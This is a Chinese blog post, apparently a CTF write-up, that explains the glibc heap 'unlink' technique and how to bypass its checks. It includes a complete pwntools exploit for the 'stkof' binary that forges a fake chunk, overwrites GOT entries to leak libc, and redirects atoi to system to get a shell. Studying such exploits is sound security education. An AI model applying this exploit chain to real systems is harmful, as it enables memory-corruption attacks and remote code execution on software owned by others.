Unlink漏洞简单分析

admin 2021年12月24日07:30:46评论229 views字数 3209阅读10分41秒阅读模式

0x1,堆溢出漏洞;

0x2,闲聊:Unlink的难度不小,现在也只能勉强理解;

关于unlink的漏洞简单说一下

1,第一个判断

if(chunksize (p) != prev_size (next_chunk (p)))

此判断所代表的含义为检查将从链表中卸下的chunk其size是否被恶意的修改。记录当前size的地方有两处一个是为当前chunk的size字段和下一个chunk(物理地址上相邻的高地址的chunk)的prev_size字段如果这两个字段的值不等,则unlink会抛出异常。

第2个判断

FD=P->fd即当前空闲chunk所指向的下一个空闲chunk

BK=P->bk即当前空闲chunk所指向的上一个chunk

FD->bk=BK<=>P->fd->bk= P->bk

BK->fd=FD<=>P->bk->fd= P->fd

光看这些指针所指向的内容可能有些迷糊实际上就是将当前空闲chunk相连的前后chunk彼此相连即达到了解链的目的,明白了这一点再来看第二个if的安全检查机制

if(__builtin_expect (fd->bk != p || bk->fd != p, 0))

其实就是检查当前空闲chunk的前一个chunk的bk指向是不是自己本身或者当前chunk的后一个chunk的fd指向是不是自己,如果不是则会抛出异常。

0x3,具体操作:

1,源码分析的话是典型的给你创建,编辑,删除的堆;

2

Unlink漏洞简单分析


没什么好说的;3.

Unlink漏洞简单分析


它会把创建的堆放在这;地址0x602140;

4,那么需要至少3个堆,前两个可以小一点,后一个需要大一点比fastbin 大,才可以溢出

5,通过修改第二个chunk的内容在第二个chunk中伪造了一个空闲chunk从地址0x14c4460开始为伪造chunk的内容。如过此时想要free chunk3那么要进入unlink则需要使unlink函数认为伪chunk是空闲的并绕过检查。所以首先通过溢出将第三个chunk的prev_size字段修改为0x30并将size字段的P字段修改为0即0x90那么此时就可以绕过第1个 if判断。第二个if判断就难理解一些在这里有个通用的绕过公式即:

fd  = address  -  0x18

bk  = address  -  0x10

剩下的就是老生常谈了,exp


from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'

context.binary = "./stkof"
stkof = ELF('./stkof')

if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")

log.info('PID: ' + str(proc.pidof(p)[0]))
libc
= ELF('./libc.so.6')

head
= 0x602140

def
alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OKn')

def
edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OKn')

def
free(idx):
    p.sendline('3')
    p.sendline(str(idx))

def
exp():
    gdb.attach(p)
    # trigger to malloc buffer for io function
    alloc(0x100)        # idx 1
    # begin
    alloc(0x30)         # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80)         # idx 3
    # a fake chunk at global[2] = head + 16 who's size is 0x20
    payload = p64(0)        #prev_size
    payload += p64(0x20)    #size --> except the first line, the rest two line is equal to 0x20?
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    payload += p64(0x20)  # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)        #0x30 is the front one whole size?
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2]) - 0x18 = head - 8
    free(3)
    p.recvuntil('OKn')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('nOKn', drop=True).ljust(8, 'x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()

if
__name__ == "__main__":
    exp()

Written by 天华


本文始发于微信公众号(渗透云笔记):Unlink漏洞简单分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月24日07:30:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Unlink漏洞简单分析http://cn-sec.com/archives/494038.html

发表评论

匿名网友 填写信息